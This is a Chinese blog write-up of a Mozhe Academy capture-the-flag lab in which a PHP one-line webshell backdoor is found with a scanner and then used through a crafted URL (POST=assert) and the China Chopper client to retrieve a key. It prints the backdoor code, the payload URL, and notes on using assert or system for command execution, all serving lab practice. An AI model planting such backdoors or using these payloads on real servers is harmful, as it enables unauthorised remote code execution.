WebShell代码分析溯源(第1题)墨者学院
2019-01-10 19:46
411 查看
一、访问链接
二、下载系统源码后直接放到D盾里扫描,扫到后门文件
三、查看该木马文件
<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>
1.error_reporting(0); 关闭错误报告
2.$_GET['POST']($_POST['GET']); 一句话木马,GET传入POST值,再将密码:GET以POST请求方式传到后台
因此构造payload:http://219.153.49.228:41996/www/cn-right.php?POST=assert,密码为GET 连接菜刀,字符编码:utf-8
PHP有很多危险的函数如:eval、system、assert等,那么我们可以使用这些危险的函数来达到后门的目的:
eval('phpinfo();'); //eval() 把字符串作为PHP代码执行 echo system('dir'); //执行外部程序,并且显示输出 assert('phpinfo();');// 如果参数是字符串,它将会被当做 PHP 代码来执行 assert(phpinfo()); //assert参数不加引号,也可以执行哦
好了,看到解题思路里都是用POST=assert,那为什么不用POST=eval呢?
再看一个例子:
$str='assert'; $str('phpinfo();'); //正常执行 $str='eval'; $str('phpinfo();'); //Fatal error: Call to undefined function eval() in D:phpStudyPHPTutorialWWW1.php on line 9 报错了 $str='system'; $str('cd'); //正常执行
可看到,eval并不支持可变变量形式,除了eval,还有echo、print、unset、isset、empty、include、require等语句,所以这里不能使用POST=eval形式,因为eval不支持可变变量形式。
也可以构造如POST=system。post里面为cmd/shell命令,如GET=dir。通过shell命令操作也可以得到key值,当前你要用eval,可以用shell命令生成一个一句话后门即可。
四、在/www/html找到KEY
相关文章推荐
- 墨者学院-WebShell代码分析溯源(第1题)
- 墨者学院靶场之PHP代码分析溯源(第1题)
- 墨者学院-php代码分析溯源
- 【WEB】WebShell代码分析溯源(第4题)
- 对U-BOOT的第1阶段代码的分析
- 墨者学院 - CMS系统漏洞分析溯源(第5题)
- 墨者学院-电子数据取证-日志分析(第1题)
- 【WEB】PHP代码分析溯源(PHP文件包含)
- 对U-BOOT的第1阶段代码的分析
- ASP.NET缓存方法分析和实践示例代码第1/2页
- 墨者学院-IIS写权限漏洞分析溯源
- 墨者学院-CMS系统漏洞分析溯源(第2题)
- 墨者学院 - CMS系统漏洞分析溯源(第4题)
- 墨者学院 - Bash漏洞分析溯源
- 墨者学院 - Redis配置错误导致的远程代码漏洞溯源
- 【墨者学院】CMS系统漏洞分析溯源(第6题)
- php xml分析函数代码第1/2页
- 墨者学院 - PHP本地包含漏洞代码溯源
- 墨者学院-编辑器漏洞分析溯源(第2题)
- 墨者学院-内部文件上传系统漏洞分析溯源